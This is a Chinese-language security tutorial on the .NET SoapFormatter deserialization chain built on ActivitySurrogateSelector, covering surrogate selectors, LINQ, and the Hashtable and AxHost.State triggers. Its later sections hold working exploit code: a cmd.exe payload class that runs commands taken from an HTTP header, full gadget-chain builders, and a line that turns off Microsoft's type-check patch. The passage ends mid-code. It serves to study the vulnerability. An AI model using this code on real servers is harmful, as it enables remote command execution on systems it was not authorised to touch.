SoapFormatter反序列化链ActivitySurrogateSelector

前言:SoapFormatter反序列化漏洞

参考文章:https://www.anquanke.com/post/id/176499
参考文章:https://mp.weixin.qq.com/s/cu1U_ddtAM4nPwVKyPzoNA
参考文章:https://xz.aliyun.com/t/9595#toc-3
参考文章:https://paper.seebug.org/1418/#activitysurrogateselectorgenerator

SoapFormatter

SoapFormatter的命名空间位于System.Runtime.Serialization.Formatters.Soap.dll

SoapFormatter以SOAP格式序列化和反序列化对象或连接对象的整个图,并实现了IRemotingFormatter、IFormatter接口。

SOAP即Simple Object Access Protocol,简单对象访问协议,基于XML协议。SOAP是开放的协议,可以跨平台的其他程序也可以使用SoapFormatter序列化的文件。

SoapFormatter与BinaryFormatter的区别是:SoapFormatter不能序列化泛型类型,BinaryFormatter在序列化时不需要向序列化器指定序列化对象的类型。

.NET对象与SOAP流之间的转换

namespace SerializationCollection
{
    
    [Serializable]
    class Person
    {
        public int age;
        public string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            using (MemoryStream stream = new MemoryStream())
            {
                // 序列化写入数据
                soapFormatter.Serialize(stream, person);
                string soap = Encoding.UTF8.GetString(stream.ToArray());
                Console.WriteLine(soap);
                Console.WriteLine("=========");
                // 反序列化读取数据
                stream.Position = 0;
                Person p = (Person)soapFormatter.Deserialize(stream);
                Console.WriteLine(p.age);
                stream.Close();
                p.SayHello();
            }

            Console.ReadKey();
        }
    }
}

在SoapFormatter中实现了两个接口,分别是IRemotingFormatter, IFormatter,而在IFormatter有代理选择器,如下所示

当为SoapFormatter设置了Person类的代理选择器,在序列化和反序列化的时候执行的就是PersonSerializeSurrogate中自定义GetObjectData和SetObjectData方法了

namespace SerializationCollection
{
    
    [Serializable]
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {

        public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            soapFormatter.SurrogateSelector = ss;

            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            using (MemoryStream stream = new MemoryStream())
            {
                // 序列化写入数据
                soapFormatter.Serialize(stream, person);
                string soap = Encoding.UTF8.GetString(stream.ToArray());
                Console.WriteLine(soap);
                Console.WriteLine("=========");
                // 反序列化读取数据
                stream.Position = 0;
                Person p = (Person)soapFormatter.Deserialize(stream);
                Console.WriteLine(p.Name);
                stream.Close();
                p.SayHello();
            }

            Console.ReadKey();
        }
    }
}

运行结果如下所示,可以看到age的值就是0了,因为我们自己控制了序列化和反序列化的操作,而在PersonSerializeSurrogate实现的时候只序列化和反序列化了name字段,age的值默认则为0

这里需要了解的一个代理选择器的一个特点,代理选择器能够原本不能被序列化的类可以用来序列化和反序列化

这句话如何理解?上面的代码中我们在使用代理选择器的时候,Person类是实现了序列化接口的。那么如果下面给出一个没有实现序列化接口的Person类看看是否实现序列化的操作

namespace SerializationCollection
{
    // 没有实现Serializable
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {

        public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            soapFormatter.SurrogateSelector = ss;

            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            MemoryStream stream = new MemoryStream();
            // 序列化写入数据
            soapFormatter.Serialize(stream, person);
            string soap = Encoding.UTF8.GetString(stream.ToArray());
            Console.WriteLine(soap);
            Console.WriteLine("=========");
            // 反序列化读取数据
            stream.Position = 0;
            Person p = (Person)soapFormatter.Deserialize(stream);
            Console.WriteLine(p.Name);
            stream.Close();
            p.SayHello();

            Console.ReadKey();
        }
    }
}

可以看到Person没有实现序列化的接口同样可以进行序列化操作,这边的话就是选择代理器的一个特点

其实这个点会比较好理解,因为反序列和反序列化的操作直接被我们接管了,那么如何操作就是我们的事情了

这个点如果要细究的话应该可以从正常的序列化操作中看出来,在原生的序列化的过程中应该存在判断该类是否可以被序列化的过程

但是这个又有一个问题,如果这个类被序列化了,反序列化的时候并不是用我们实现的代理选择器的类去反序列化的,这种情况下就会报错。

这边可以在反序列化的时候用一个新生成的SoapFormatter的对象去反序列化来进行验证,验证代码如下所示

namespace SerializationCollection
{
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    sealed class PersonSerializeSurrogate : ISerializationSurrogate
    {

        public void GetObjectData(Object obj, SerializationInfo info, StreamingContext context)
        {
            var p = (Person)obj;
            info.AddValue("Name", p.Name);
        }

        public Object SetObjectData(Object obj, SerializationInfo info, StreamingContext context, ISurrogateSelector selector)
        {
            var p = (Person)obj;
            p.Name = info.GetString("Name");
            return p;
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            SoapFormatter soapFormatter = new SoapFormatter();
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            soapFormatter.SurrogateSelector = ss;

            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            MemoryStream stream = new MemoryStream();
            // 序列化写入数据
            soapFormatter.Serialize(stream, person);
            string soap = Encoding.UTF8.GetString(stream.ToArray());
            Console.WriteLine(soap);
            Console.WriteLine("=========");
            // 反序列化读取数据
            
            stream.Position = 0;
            // Person p = (Person)soapFormatter.Deserialize(stream);

            var fmt2 = new SoapFormatter();
            Person p = (Person)fmt2.Deserialize(stream);

            Console.WriteLine(p.Name);
            stream.Close();
            p.SayHello();
            
            Console.ReadKey();
        }
    }
}

如下图所示,可以看到会存在报错情况,其实很好理解因为soapFormatter对象Deserialize反序列化的时候走的是PersonSerializeSurrogate对象中的SetObjectData,而fmt2对象走的是原生的反序列化操作

最后fmt2会在这边进行报错,原因反序列化soap数据中解析一个Object的时候会先调用CheckSerializable方法来判断当前要解析的Object是否是可序列化的,这边我们实现的Person是无法序列化的话,所以在图中可以看到进入判断,最终触发异常

那么如果想要让fmt2对象走原生的反序列化操作并且还能够成功反序列化的话,这边的话就可以通过ActivitySurrogateSelector类来解决这个问题

穿插知识点ISerializationSurrogate和SurrogateSelector之间的关系

因为下面会用到SurrogateSelector,而上面的代码中用到的都是ISerializationSurrogate,这两个点的区别是什么不搞清楚的话容易混淆

这里就对比下SurrogateSelector和ISerializationSurrogate在序列化核心的区别是什么

首先先来看ISerializationSurrogate序列化代理器,测试代码如下

            SoapFormatter soapFormatter = new SoapFormatter();
            var ss = new SurrogateSelector();
            ss.AddSurrogate(typeof(Person), new StreamingContext(StreamingContextStates.All), new PersonSerializeSurrogate());
            soapFormatter.SurrogateSelector = ss;

            Person person = new Person();
            person.Age = 10;
            person.Name = "jack";
            using (MemoryStream stream = new MemoryStream())
            {
                // 序列化写入数据
                soapFormatter.Serialize(stream, person);
                string soap = Encoding.UTF8.GetString(stream.ToArray());
                Console.WriteLine(soap);
                Console.WriteLine("=========");
                // 反序列化读取数据
                stream.Position = 0;
                Person p = (Person)soapFormatter.Deserialize(stream);
                Console.WriteLine(p.Name);
                stream.Close();
                p.SayHello();
            }

可以看到我们实现的PersonSerializeSurrogate(继承于ISerializationSurrogate)是作为SurrogateSelector对象中的m_surrogates字段成员

然后再来看SurrogateSelector代理选择器

    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(stm, new Person());
            stm.Position = 0;
            var fmt2 = new SoapFormatter();
            Person person = (Person)fmt2.Deserialize(stm);
            person.SayHello();
            Console.ReadKey();
        }
    }

看到这里其实就可以明白,SurrogateSelector实际上是包含ISerializationSurrogate的存在,实现了ISerializationSurrogate对象都是作为SurrogateSelector的m_surrogates字段成员

还需要知道的就是这里走surrogateSelector.GetSurrogate的时候就是走我们实现SurrogateSelector对象中的GetSurrogate方法,这个GetSurrogate方法可以被重写

ActivitySurrogateSelector

using System;
using System.IO;
using System.Runtime.Serialization;
using System.Runtime.Serialization.Formatters.Binary;
using System.Runtime.Serialization.Formatters.Soap;
using System.Text;

namespace SerializationCollection
{
    class Person
    {
        private int age;
        private string name;
        public int Age { get => age; set => age = value; }
        public string Name { get => name; set => name = value; }
        public void SayHello()
        {
            Console.WriteLine("hello from SayHello");
        }
    }

    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }
            return base.GetSurrogate(type, context, out selector);
        }
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            fmt.SurrogateSelector = new MySurrogateSelector();
            fmt.Serialize(stm, new Person());
            stm.Position = 0;
            var fmt2 = new SoapFormatter();
            Person person = (Person)fmt2.Deserialize(stm);
            person.SayHello();
            Console.ReadKey();
        }
    }
}

这里可以看到fmt2并没有指定代理选择器,但是同样可以进行反序列化fmt序列化后的数据

ActivitySurrogateSelector原理

这里为什么通过设置代理选择为可以实现没有实现序列化接口能够被序列化呢?

这里可以先来到序列化的核心点来进行观察,首先我们此时是替换了surrogateSelector为ActivitySurrogateSelector

然后接着继续跟进surrogateSelector.GetSurrogate方法中,这边是通过实例化一个ObjectSurrogate对象返回

接着就来到了ActivitySurrogateSelector内实现的GetObjectData

这边跟进去会看到,在GetObjectData序列化的时候会执行info.SetType,将当前序列化的info对象类型设置为子类ObjectSerializedRef,而ObjectSerializedRef是可以被序列化的(继承Serializable)

info.SetType(typeof(ActivitySurrogateSelector.ObjectSurrogate.ObjectSerializedRef));,这里执行完了之后

然后最后序列化写入的对象就是ObjectSerializedRef,导致该对象是可序列化的行为

所以这边最后通过fmt2进行反序列化的时候不会报错,原因就是此时的stm对象已经是序列化对象,后续的过程就是正常的反序列化过程

关于DisableActivitySurrogateSelectorTypeCheck

下面这句话的操作是为了绕过高版本框架对ActivitySurrogateSelector类滥用的限制,这个是微软在.net4.8之后打的补丁,如果我们忽略这个补丁的话可以通过下面这句话

ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");

可能有人想问这个是哪里触发的呢?这边其实是可以跟到的就是上面的这张图中

LINQ知识点

这里还需要穿插下LINQ知识点,这边还需要了解下LINQ的知识点,要不然下面的ActivitySurrogateSelector攻击链会不太好理解(自己是这样认为的)

官方定义对Linq是语言集成查询 (LINQ) 是一系列直接将查询功能集成到 C# 语言的技术统称。可以认为Linq就是使用Lambda表达式完成类似SQL语法的功能,sum、count、avg、排序、分组、分页等等,某些方面更强大,使用便捷。

简单的IEnumerable应用

如下代码所示,可以发现通过IEnumerable的对象来配合LINQ语法来实现遍历组合的操作

namespace LinqTest
{
    internal class Program
    {

        static IEnumerable<string> Suits()
        {
            yield return "clubs";
            yield return "diamonds";
            yield return "hearts";
            yield return "spades";
        }

        static IEnumerable<string> Ranks()
        {
            yield return "two";
            yield return "three";
            yield return "four";
            yield return "five";
            yield return "six";
            yield return "seven";
            yield return "eight";
            yield return "nine";
            yield return "ten";
            yield return "jack";
            yield return "queen";
            yield return "king";
            yield return "ace";
        }

        public static void Main(string[] args)
        {
            var startingDeck = from s in Suits()
                               from r in Ranks()
                               select new { Suit = s, Rank = r };

            foreach (var c in startingDeck)
            {
                Console.WriteLine(c);
            }

            // 52 cards in a deck, so 52 / 2 = 26
            var top = startingDeck.Take(26);
            var bottom = startingDeck.Skip(26);
            Console.ReadKey();
        }
    }
}

上面代码中的Ranks方法和Suits方法都是集合对象(也有叫序列),实现了IEnumerable接口。

这里需要说下IEnumerable接口,实现IEnumerable接口就需要实现该接口下的GetEnumerator方法。

GetEnumerator方法返回的对象包含用于移动到下一个元素的方法,以及用于检索序列中当前元素的属性。上面的代码中将使用这两个成员Ranks和Suits来枚举集合并返回元素。

由于此交错方法是迭代器方法,因此将使用上面的yield return语法,而不用生成并返回集合,简单的理解就是通过yield return语法就交替实现了GetEnumerator方法,当遍历这个集合的时候就是yield return这些成员作为迭代的结果来进行返回。

对于Enumerable还可以直接匿名声明,如下代码所示

var students = Enumerable.Range(1, 10).Select(i => new
{
    ID = i,
    Name = i>7? "hello" : $"hello{i}",
    Age = i < 5 ? 16 : i + 10
});

自定义查询方法

这边可以自己实现一个count方法来对某个集合数据进行符合条件计数

namespace LinqTest
{
    static class A
    {
        public static int MyCount<T>(this IEnumerable<T> source, Func<T, bool> func)
        {
            int i = 0;
            foreach (var item in source)
            {
                if (func(item))
                {
                    i++;
                }
            }
            return i;
        }
    }

    internal class Program
    {
        public static void Main(string[] args)
        {
            var students = Enumerable.Range(1, 10).Select(i => new
            {
                ID = i,
                Name = i > 7 ? "hello" : $"hello{i}",
                Age = i < 5 ? 16 : i + 10
            });
            var count_result = students.MyCount(p => p.Name == "hello" && p.Age > 18);
            //Console.WriteLine(count_result);
            Console.ReadKey();
        }
    }
}

如下图所示,这边运行结果比较奇怪的是,发现控制台中没有结果输出

这里还需要提下关于LINQ的延迟执行的特性,就只有对生成的对象调用才算是执行

所以上面的代码的基础上加上Console.WriteLine(count_result);即可有输出结果

ActivitySurrogateSelector攻击链

那么这边如何通过ActivitySurrogateSelector来进行利用呢?

IEnumerable到LINQ利用链

James Forshaw设计了一条反序列化调用链,借用LINQ顺序执行以下函数

byte[] -> Assembly.Load(byte[]) -> Assembly
Assembly -> Assembly.GetType() -> Type[]
Type[] -> Activator.CreateInstance(Type[]) -> object[]

要实现上面的步骤,跟下面的一个LINQ委托调用过程相似

public static IEnumerable<TResult> Select<TSource, TResult>(this IEnumerable<TSource> source, Func<TSource, TResult> selector);

第一步是byte[] -> Assembly.Load(byte[]) -> Assembly,可以通过如下代码来进行实现,这里的拿到的e1对象是一个Assembly对象

List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);

接着第二步就是Assembly -> Assembly.GetType() -> Type[],可以通过如下代码来进行实现,这里的拿到的e2对象是一个IEnumerable类型

Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly,IEnumerable<Type>>),typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);

接着第二步就是Type[] -> Activator.CreateInstance(Type[]) -> object[],可以通过如下代码来进行实现,这里的拿到的e3对象是一个IEnumerable类型

var e3 = e2.Select(Activator.CreateInstance);

到这里为止,构造的过程已经完成,代码如下所示

List<byte[]> data = new List<byte[]>();
data.Add(File.ReadAllBytes(typeof(ExploitClass).Assembly.Location));
var e1 = data.Select(Assembly.Load);
Func<Assembly, IEnumerable<Type>> map_type = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
var e2 = e1.SelectMany(map_type);
var e3 = e2.Select(Activator.CreateInstance);

但是还有一个问题就是在反序列化的过程中如何触发这个点呢?在相关的提供反序列化的对象中并没有在反序列化操作中能直接调用上面的一系列操作的

从ToString到IEnumerable

James Forshaw想到的思路是这样的:首先找到一种方法,使得在反序列化时执行ToString() 函数,然后找到一条链从ToString() 到 IEnumerable。

// PagedDataSource maps an arbitrary IEnumerable to an ICollection
PagedDataSource pds = new PagedDataSource() { DataSource = e3 };

// AggregateDictionary maps an arbitrary ICollection to an IDictionary 
// Class is internal so need to use reflection.
IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);

// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

倒着看,首先先看下面这句代码,反射获取MenuCommand的type对象获得properties字段,然后将其DesignerVerb类型的verb对象的properties修改为dict

注意的是:MenuCommand是DesignerVerb的父类,所以properties字段都是一样的可以直接通过反射来进行修改

IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);
// DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
DesignerVerb verb = new DesignerVerb("XYZ", null);
// Need to insert IDictionary using reflection.
typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

这样的话就可以通过其他的对象来触发DesignerVerb的ToString方法,从而触发LINQ调用链

手动触发ToString方法可以看到同样达到命令执行的效果,所以这边构造的没有问题

HashTable到ToString

上面可以看到找到了从ToString到IEnumerable,那么这里的话还需要找到一种方法在进行反序列化时触发ToString() 函数,从而进行完整的反序列化触发利用过程。

James Forshaw想到利用Hashtable,在对Hashtable 类进行反序列化的时候,它将会重建密钥集,下面的图是HashTable在反序列化的过程中的操作

如果两个键相等,则反序列化将失败,并且Hashtable会引发异常。

下面的图中可以看到如果匹配到了重复的键的时候,此时就会跳转到Block_15

这边跟到Block_15中,可以看到会进入到判断中进行throw异常从而调用Environment.GetResourceString方法,最终触发toString方法

System.Windows.Forms.AxHost.State异常处理

ysoserial用System.Windows.Forms.AxHost.State解决了反序列化时发生的异常不会被转发给上一层

这边可以看到try catch来进行解决异常问题,而且这里还可以看到PropertyBagBinary成员

会通过this.propBag.Read(new MemoryStream(array2));读取里面PropertyBagBinary的值对其进行反序列化操作

ActivitySurrogateSelectorFromFile

上面讲到的整体其实就是ActivitySurrogateSelectorFromFile利用方式

这边给出利用的代码如下

E.cs

class E
{
    public E()
    {
        System.Web.HttpContext context = System.Web.HttpContext.Current;
        context.Server.ClearError();
        context.Response.Clear();
        try
        {
            System.Diagnostics.Process process = new System.Diagnostics.Process();
            process.StartInfo.FileName = "cmd.exe";
            string cmd = context.Request.Headers["cmd"];
            process.StartInfo.Arguments = "/c " + cmd;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError = true;
            process.StartInfo.UseShellExecute = false;
            process.Start();
            string output = process.StandardOutput.ReadToEnd();
            context.Response.Write(output);
        } catch (System.Exception) {}
        context.Response.Flush();
        context.Response.End();
    }
}

Program.cs

namespace LinqTest
{
    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass: ISerializable
    {
        public byte[] GadgetChains()
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");

            // Build a chain to map a byte array to creating an instance of a class.
            // byte[] -> Assembly.Load -> Assembly -> Assembly.GetType -> Type[] -> Activator.CreateInstance -> Win!
            
            List<byte[]> data = new List<byte[]>();
            // exp.dll 即为上面生成的程序集
            data.Add(File.ReadAllBytes(Path.Combine("./test.dll")));

            var e1 = data.Select(Assembly.Load);
            Func<Assembly, IEnumerable<Type>> MyGetTypes = (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate(typeof(Func<Assembly, IEnumerable<Type>>), typeof(Assembly).GetMethod("GetTypes"));
            var e2 = e1.SelectMany(MyGetTypes);
            var e3 = e2.Select(Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = e3 };

            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            DesignerVerb verb = new DesignerVerb("XYZ", null);

            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.
            
            List<object> ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            Hashtable ht = new Hashtable();

            // Add two entries to table.
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");

            // 获取buckets
            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
                if (key is string)
                {
                    fi_key.SetValue(bucket, verb);
                    keys.SetValue(bucket, i);
                    break;
                }
            }

            fi_keys.SetValue(ht, keys);
            ls.Add(ht);
            BinaryFormatter fmt1 = new BinaryFormatter();
            MemoryStream stm = new MemoryStream();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            fmt1.Serialize(stm, ls);
            return stm.ToArray();
        }

        
        public void GetObjectData(SerializationInfo info, StreamingContext context)
        {
            System.Diagnostics.Trace.WriteLine("In GetObjectData");
            info.SetType(typeof(System.Windows.Forms.AxHost.State));
            info.AddValue("PropertyBagBinary", GadgetChains());
        }
    }
    
    class Program
    {
        static void Main(string[] args)
        {
            System.Configuration.ConfigurationManager.AppSettings.Set("microsoft:WorkflowComponentModel:DisableActivitySurrogateSelectorTypeCheck", "true");
            SoapFormatter fmt1 = new SoapFormatter();
            SoapFormatter fmt2 = new SoapFormatter();
            MemoryStream stm = new MemoryStream();
            PayloadClass test = new PayloadClass();
            fmt1.SurrogateSelector = new MySurrogateSelector();
            //fmt1.Serialize(stm, test.GadgetChains());
            fmt1.Serialize(stm, test);
            stm.Seek(0, SeekOrigin.Begin);
            fmt2.Deserialize(stm);
        }
    }
}

最终运行结果如下所示,可以看到命令执行成功

ActivitySurrogateSelectorFromFile改良版

如果直接利用上面的给出的例子在实战中进行利用的话可能会因为.net fx版本的问题会导致无法利用成功

如果大家看过ysoserial中的ActivitySurrogateSelectorFromFileGenerator.cs中的代码的话会知道,其实ActivitySurrogateSelectorFromFileGenerator提供了两种方式来进行利用,现在默认的是新的利用方法

所以这边ysoserial给出的通用的解决方法就是利用System.Linq.Enumerable+WhereSelectEnumerableIterator`2来进行解决

最终的手写利用代码则是如下所示,仅供参考,自己的话仅在CVE-2020-0688实战环境中使用下面这段代码,最好还是直接使用ysoserial来进行使用,这样比较有保证

Program.cs

namespace LinqTest
{
    // Custom serialization surrogate
    class MySurrogateSelector : SurrogateSelector
    {
        public override ISerializationSurrogate GetSurrogate(Type type, StreamingContext context, out ISurrogateSelector selector)
        {
            selector = this;
            if (!type.IsSerializable)
            {
                Type t = Type.GetType("System.Workflow.ComponentModel.Serialization.ActivitySurrogateSelector+ObjectSurrogate, System.Workflow.ComponentModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35");
                return (ISerializationSurrogate)Activator.CreateInstance(t);
            }

            return base.GetSurrogate(type, context, out selector);
        }
    }

    [Serializable]
    public class PayloadClass: ISerializable
    {
        private IEnumerable<TResult> CreateWhereSelectEnumerableIterator<TSource, TResult>(IEnumerable<TSource> src, Func<TSource, bool> predicate, Func<TSource, TResult> selector)
        {
            Type t = Assembly.Load("System.Core, Version=3.5.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089")
              .GetType("System.Linq.Enumerable+WhereSelectEnumerableIterator`2")
              .MakeGenericType(typeof(TSource), typeof(TResult));
            return t.GetConstructors()[0].Invoke(new object[] { src, predicate, selector }) as IEnumerable<TResult>;
        }

        public byte[] GadgetChains()
        {
            DesignerVerb verb = null;
            Hashtable ht = null;
            List<object> ls = null;

            byte[] payload = File.ReadAllBytes(Path.Combine("./test.dll"));
            byte[][] e1 = new byte[][] { payload };

            // Assembly.Load
            IEnumerable<Assembly> e2 = CreateWhereSelectEnumerableIterator<byte[], Assembly>(e1, null, Assembly.Load);

            // IEnumerable<Type>
            IEnumerable<IEnumerable<Type>> e3 = CreateWhereSelectEnumerableIterator<Assembly, IEnumerable<Type>>(e2,
                null,
                (Func<Assembly, IEnumerable<Type>>)Delegate.CreateDelegate
                    (
                        typeof(Func<Assembly, IEnumerable<Type>>),
                        typeof(Assembly).GetMethod("GetTypes")
                    )
            );

            IEnumerable<IEnumerator<Type>> e4 = CreateWhereSelectEnumerableIterator<IEnumerable<Type>, IEnumerator<Type>>(e3,
                null,
                (Func<IEnumerable<Type>, IEnumerator<Type>>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerable<Type>, IEnumerator<Type>>),
                    typeof(IEnumerable<Type>).GetMethod("GetEnumerator")
                )
            );

            IEnumerable<Type> e5 = CreateWhereSelectEnumerableIterator<IEnumerator<Type>, Type>(e4,
                (Func<IEnumerator<Type>, bool>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, bool>),
                    typeof(IEnumerator).GetMethod("MoveNext")
                ),
                (Func<IEnumerator<Type>, Type>)Delegate.CreateDelegate
                (
                    typeof(Func<IEnumerator<Type>, Type>),
                    typeof(IEnumerator<Type>).GetProperty("Current").GetGetMethod()
                )
            );

            IEnumerable<object> end = CreateWhereSelectEnumerableIterator<Type, object>(e5, null, Activator.CreateInstance);

            // PagedDataSource maps an arbitrary IEnumerable to an ICollection
            PagedDataSource pds = new PagedDataSource() { DataSource = end };

            // AggregateDictionary maps an arbitrary ICollection to an IDictionary 
            // Class is internal so need to use reflection.
            IDictionary dict = (IDictionary)Activator.CreateInstance(typeof(int).Assembly.GetType("System.Runtime.Remoting.Channels.AggregateDictionary"), pds);

            // DesignerVerb queries a value from an IDictionary when its ToString is called. This results in the linq enumerator being walked.
            verb = new DesignerVerb("", null);

            // Need to insert IDictionary using reflection.
            typeof(MenuCommand).GetField("properties", BindingFlags.NonPublic | BindingFlags.Instance).SetValue(verb, dict);

            // Pre-load objects, this ensures they're fixed up before building the hash table.
            ls = new List<object>();
            ls.Add(e1);
            ls.Add(e2);
            ls.Add(e3);
            ls.Add(e4);
            ls.Add(e5);
            ls.Add(end);
            ls.Add(pds);
            ls.Add(verb);
            ls.Add(dict);

            ht = new Hashtable();

            // Add two entries to table.
            /*
            ht.Add(verb, "Hello");
            ht.Add("Dummy", "Hello2");
            */
            ht.Add(verb, "");
            ht.Add("", "");

            FieldInfo fi_keys = ht.GetType().GetField("buckets", BindingFlags.NonPublic | BindingFlags.Instance);
            Array keys = (Array)fi_keys.GetValue(ht);
            FieldInfo fi_key = keys.GetType().GetElementType().GetField("key", BindingFlags.Public | BindingFlags.Instance);
            for (int i = 0; i < keys.Length; ++i)
            {
                object bucket = keys.GetValue(i);
                object key = fi_key.GetValue(bucket);
